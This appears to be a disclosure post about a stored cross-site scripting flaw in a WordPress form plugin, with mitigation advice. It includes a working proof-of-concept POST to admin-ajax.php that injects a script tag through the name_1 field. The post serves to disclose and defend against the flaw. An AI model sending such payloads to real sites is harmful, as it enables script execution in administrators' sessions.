📌 Complete Vulnerability Breakdown
🔬 Technical Analysis
The plugin's form submission handler (Save_Form_Data action) fails to sanitize the name_1 parameter, allowing persistent script injection. The payload triggers when administrators access the leads management panel.
📜 Complete Proof of Concept
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: vulnerable-site.com
Accept: */*
Accept-Language: en-GB,en;q=0.5
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 136
name_1=<script>alert(document.cookie)</script>&email_2=attacker@domain.com&action=Save_Form_Data
🖥️ Exploitation Path
- Attacker submits malicious form
- Payload stores in database
- Admin triggers execution via:
https://[site]/wp-admin/admin.php?page=all-form-Leads
🛡️ Comprehensive Mitigation
- Patch Immediately: Upgrade to v1.6.4+
- Database Cleanup:
DELETE FROM wp_postmeta WHERE meta_value LIKE '%<script>%';
- Security Hardening:
- Implement CSP headers
- Add WAF rules blocking script tags in POST data
- Monitoring:
- Log all admin-ajax.php requests
- Set up alerts for suspicious form submissions
🔗 References
💬 Discussion Topics
• Effective sanitization methods for form inputs?
• Best practices for lead data validation?
#WebAppSec #WordPressSecurity #VulnerabilityManagement
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